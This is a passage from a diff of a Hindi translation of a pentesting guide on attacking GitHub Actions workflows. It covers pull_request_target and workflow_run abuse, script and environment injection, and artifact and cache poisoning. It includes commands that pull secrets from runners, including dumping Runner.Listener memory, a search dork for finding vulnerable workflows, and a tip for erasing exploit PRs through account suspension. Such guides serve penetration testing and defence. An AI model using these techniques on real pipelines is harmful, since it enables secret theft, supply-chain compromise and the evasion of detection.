-> यह Github actions को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं।
+> यह Github क्रियाओं को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं।
>
> यदि आप इस परिदृश्य में हैं, तो आप बस [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) की जांच कर सकते हैं।
### रिपॉजिटरी निर्माण से निष्पादन
-यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github actions निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**।
+यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github क्रियाएँ निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**।
### नए शाखा से निष्पादन
@@ -174,34 +174,34 @@ branches:
### `pull_request`
-कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **निष्पादन** को **स्वीकृत** करने की आवश्यकता होगी:
+कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **चलाने** को **स्वीकृत** करने की आवश्यकता होगी:
> [!NOTE]
-> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक मान्य बग/टाइपो को ठीक करने** में योगदान कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**।
+> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक मान्य बग/टाइपो को ठीक करके योगदान** कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**।
>
> **मैंने इसका परीक्षण किया और यह काम नहीं करता**: ~~एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।~~
-इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**दस्तावेज़**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है:
+इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है:
-> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब कार्यप्रवाह एक **फोर्क की गई** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क की गई रिपॉजिटरी** से।
+> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब कार्यप्रवाह एक **फोर्क किए गए** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क किए गए रिपॉजिटरी** से।
-एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने चीजें निष्पादित की जा सकें और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।
+एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने कार्यों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।
> [!CAUTION]
> **हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!**
-चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियाँ अपलोड** कर सकता है।
+चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियों को अपलोड** कर सकता है।
### **`pull_request_target`**
कार्यप्रवाह ट्रिगर **`pull_request_target`** को लक्षित रिपॉजिटरी में **लिखने की अनुमति** और **गुप्तों तक पहुंच** होती है (और अनुमति नहीं मांगता)।
-ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड निष्पादित न हो**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**दस्तावेज़ देखें**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)।\
-इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**गिटहब ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें।
+ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड निष्पादित न हो**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) देखें।\
+इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**github ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें।
-यह लग सकता है कि क्योंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR** में नहीं है, यह **सुरक्षित** है **`pull_request_target`** का उपयोग करना, लेकिन कुछ **केस हैं जहाँ यह नहीं है**।
+यह लग सकता है कि चूंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR में नहीं** है, इसलिए **`pull_request_target`** का उपयोग करना **सुरक्षित** है, लेकिन कुछ **केस हैं जहाँ यह नहीं है**।
और यह एक **गुप्तों तक पहुंच** होगी।
@@ -209,7 +209,7 @@ branches:
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह `पूर्ण`, `अनुरोधित` या `प्रगति में` हो।
-इस उदाहरण में, एक कार्यप्रवाह को अलग "टेस्ट चलाएँ" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:
+इस उदाहरण में, एक कार्यप्रवाह को "Run Tests" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:
```yaml
on:
workflow_run:
@@ -217,16 +217,16 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
+इसके अलावा, दस्तावेज़ों के अनुसार: `workflow_run` इवेंट द्वारा शुरू किया गया वर्कफ़्लो **गुप्त कोड और टोकन लिखने तक पहुँच सकता है, भले ही पिछले वर्कफ़्लो नहीं था**।
-इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक **वर्कफ़्लो** पर **निर्भर** है जिसे एक बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **प्रेरित** किया जा सकता है। कुछ कमजोर उदाहरण [**इस ब्लॉग में पाया जा सकता है**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण **`workflow_run`** द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\
-दूसरा उदाहरण **`workflow_run`** वर्कफ़्लो में **अविश्वसनीय** कोड से एक **कलाकृति** को **पास** करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह **RCE के लिए कमजोर** हो जाता है।
+इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक **वर्कफ़्लो** पर **निर्भर** करता है जिसे एक बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **प्रेरित** किया जा सकता है। कुछ कमजोर उदाहरण [**इस ब्लॉग में पाया जा सकता है**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**।** पहला उदाहरण **`workflow_run`** द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\
+दूसरा उदाहरण **`workflow_run`** वर्कफ़्लो में **अविश्वसनीय** कोड से एक **कलाकृति** **पास** करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह **RCE के लिए कमजोर** हो जाता है।
### `workflow_call`
TODO
-TODO: जांचें कि जब इसे pull_request से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से
+TODO: जांचें कि क्या `pull_request` से निष्पादित होने पर उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से
## फोर्क किए गए निष्पादन का दुरुपयोग
@@ -234,12 +234,12 @@ TODO: जांचें कि जब इसे pull_request से निष
### अविश्वसनीय चेकआउट निष्पादन
-**`pull_request`** के मामले में, वर्कफ़्लो **PR के संदर्भ में** निष्पादित होगा (इसलिए यह **दुष्ट PR का कोड** निष्पादित करेगा), लेकिन किसी को इसे **पहले अधिकृत** करना होगा और यह कुछ [सीमाओं](./#pull_request) के साथ चलेगा।
+**`pull_request`** के मामले में, वर्कफ़्लो **PR के संदर्भ में** निष्पादित होगा (इसलिए यह **दुष्ट PRs कोड** को निष्पादित करेगा), लेकिन किसी को पहले इसे **अधिकृत** करना होगा और यह कुछ [सीमाओं](./#pull_request) के साथ चलेगा।
-यदि एक वर्कफ़्लो **`pull_request_target` या `workflow_run`** का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जिसे **`pull_request_target` या `pull_request`** से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए **हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता**।
+यदि एक वर्कफ़्लो **`pull_request_target` या `workflow_run`** का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर करता है जिसे **`pull_request_target` या `pull_request`** से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए **हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता**।
> [!CAUTION]
-> हालाँकि, यदि **एक्शन** में एक **स्पष्ट PR चेकआउट** है जो **PR से कोड प्राप्त करेगा** (और आधार से नहीं), तो यह हमलावर के नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):
+> हालाँकि, यदि **एक्शन** में एक **स्पष्ट PR चेकआउट** है जो **PR से कोड प्राप्त करेगा** (और आधार से नहीं), तो यह हमलावर द्वारा नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):
# INSECURE. Provided as an example only.
on:
@@ -272,11 +272,11 @@ Thank you!
संभावित रूप से **अविश्वसनीय कोड `npm install` या `npm build` के दौरान चलाया जा रहा है** क्योंकि निर्माण स्क्रिप्ट और संदर्भित **पैकेज PR के लेखक द्वारा नियंत्रित हैं**।
> [!WARNING]
-> कमजोर एक्शन की खोज के लिए एक गिटहब डॉर्क है: `event.pull_request pull_request_target extension:yml` हालाँकि, भले ही एक्शन को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह देखने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।
+> कमजोर क्रियाओं की खोज के लिए एक गिटहब डॉर्क है: `event.pull_request pull_request_target extension:yml` हालाँकि, भले ही क्रिया को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह निर्धारित करने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।
### संदर्भ स्क्रिप्ट इंजेक्शन
-ध्यान दें कि कुछ [**गिटहब संदर्भ**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) हैं जिनके मान **उपयोगकर्ता** द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब एक्शन उस **डेटा का उपयोग करके कुछ निष्पादित कर रहा है**, तो यह **मनमाने कोड निष्पादन** की ओर ले जा सकता है:
+ध्यान दें कि कुछ [**गिटहब संदर्भ**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) हैं जिनके मान **उपयोगकर्ता** द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब क्रिया उस **डेटा का उपयोग करके कुछ निष्पादित कर रही है**, तो यह **मनमाने कोड निष्पादन** की ओर ले जा सकता है:
{{#ref}}
gh-actions-context-script-injections.md
@@ -284,19 +284,19 @@ gh-actions-context-script-injections.md
### **GITHUB_ENV स्क्रिप्ट इंजेक्शन**
-दस्तावेज़ों के अनुसार: आप एक वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक **पर्यावरण चर उपलब्ध** करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे **`GITHUB_ENV`** पर्यावरण फ़ाइल में लिखकर।
+दस्तावेज़ों से: आप किसी वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक **पर्यावरण चर उपलब्ध** करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे **`GITHUB_ENV`** पर्यावरण फ़ाइल में लिखकर।
-यदि एक हमलावर इस **env** चर के अंदर **कोई भी मान** **इंजेक्ट** कर सकता है, तो वह env चर को इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकता है जैसे **LD_PRELOAD** या **NODE_OPTIONS**।
+यदि एक हमलावर इस **env** चर के अंदर **कोई भी मान** **इंजेक्ट** कर सकता है, तो वह ऐसे env चर इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकते हैं जैसे **LD_PRELOAD** या **NODE_OPTIONS**।
उदाहरण के लिए ([**यह**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) और [**यह**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री को **`GITHUB_ENV`** env चर के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:
-### कमजोर तृतीय पक्ष गिटहब एक्शन
+### कमजोर तृतीय पक्ष गिटहब क्रियाएँ
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह गिटहब एक्शन विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंच की अनुमति देता है।
+जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह गिटहब क्रिया विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुँचने की अनुमति देती है।
समस्या यह है कि यदि **`path`** पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।
@@ -323,7 +323,7 @@ with:
name: artifact
path: ./script.py
```
-यह इस वर्कफ़्लो के साथ हमला किया जा सकता है:
+इस वर्कफ़्लो के साथ हमला किया जा सकता है:
```yaml
name: "some workflow"
on: pull_request
@@ -349,7 +349,7 @@ path: ./script.py
> [!CAUTION]
> इसलिए यदि कोई क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके।
-यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता की रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
@@ -360,7 +360,7 @@ path: ./script.py
### कैश पॉइज़निंग
-एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा।
+एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **एक्सीक्यूट** किया जाता है एक **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा।
{{#ref}}
gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
### आर्टिफैक्ट पॉइज़निंग
-वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर उस Github Action को **समझौता** करने में सफल होता है जो एक आर्टिफैक्ट **अपलोड** करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है:
+वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर **Github Action को समझौता करने में सफल होता है** जो एक आर्टिफैक्ट **अपलोड करता है** जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,7 +394,7 @@ gh-actions-artifact-poisoning.md
यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:
-- यदि रहस्य या टोकन को **पर्यावरण चर** पर सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से पहुँचा जा सकता है।
+- यदि रहस्य या टोकन को **पर्यावरण चर** पर सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से एक्सेस किया जा सकता है।
@@ -452,7 +452,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- ```bash
cat /home/runner/work/_temp/*
```
-- JavaScript क्रियाओं के लिए गुप्त को पर्यावरण चर के माध्यम से भेजा जाता है
+- JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं
- ```bash
ps axe | grep node
```
@@ -468,19 +468,19 @@ key: ${{ secrets.PUBLISH_KEY }}
यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में **`runs-on: self-hosted`** के लिए खोजें।
-**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त को चुरा सकती है**।
+**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त चुराने** में सक्षम हो सकता है।
स्वयं-होस्टेड रनर्स में यह भी संभव है कि **\_Runner.Listener**\_\*\* प्रक्रिया\*\* से **गुप्त प्राप्त करें** जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Check [**इस पोस्ट में अधिक जानकारी के लिए**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+चेक करें [**इस पोस्ट के लिए अधिक जानकारी**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)।
### Github Docker Images Registry
-यह संभव है कि Github actions बनाई जाएं जो **Github के अंदर एक Docker छवि का निर्माण और संग्रह करें**।\
-एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:
+यह संभव है कि Github क्रियाएँ **Github के अंदर एक Docker छवि बनाएँ और संग्रहीत करें**।\
+एक उदाहरण निम्नलिखित विस्तारणीय में पाया जा सकता है:
@@ -515,9 +515,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
-जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** में होस्ट की गई है।
+जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** पर होस्ट की गई है।
-एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
+एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
@@ -530,13 +530,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### Github Actions लॉग में संवेदनशील जानकारी
-यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** और **उन्हें दिखाने से बचने** की कोशिश करता है, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो।
+यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** की कोशिश करता है और **उन्हें दिखाने से बचता है**, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो।
-## अपने निशान छुपाना
+## अपने निशान छिपाना
-(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो **Github द्वारा निलंबित** हैं, उनके सभी **PRs स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को निलंबित** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा)
+(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह स्पष्ट रूप से Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो **Github द्वारा निलंबित** हैं, उनके सभी **PR स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को निलंबित** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा)
-GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया।
+GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और वहां आपके पास, आपका शोषण GitHub पर अदृश्य हो गया।
> [!WARNING]
> एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index cec27db0b..1463c61eb 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -25,12 +25,12 @@ Github से डेटा तक पहुँचने के ये तरी
## निजी रिपॉजिटरी डेटा तक पहुँच
-1. आप एक निजी रिपॉजिटरी बनाते हैं जो अंततः सार्वजनिक की जाएगी।
-2. आप उस रिपॉजिटरी का एक निजी, आंतरिक संस्करण बनाते हैं (फोर्किंग के माध्यम से) और उन सुविधाओं के लिए अतिरिक्त कोड कमिट करते हैं जिन्हें आप सार्वजनिक नहीं करने जा रहे हैं।
-3. आप अपने "अपस्ट्रीम" रिपॉजिटरी को सार्वजनिक बनाते हैं और अपने फोर्क को निजी रखते हैं।
+1. आप एक निजी रिपॉजिटरी बनाते हैं जिसे अंततः सार्वजनिक किया जाएगा।
+2. आप उस रिपॉजिटरी का एक निजी, आंतरिक संस्करण (फोर्किंग के माध्यम से) बनाते हैं और उन सुविधाओं के लिए अतिरिक्त कोड कमिट करते हैं जिन्हें आप सार्वजनिक नहीं करने जा रहे हैं।
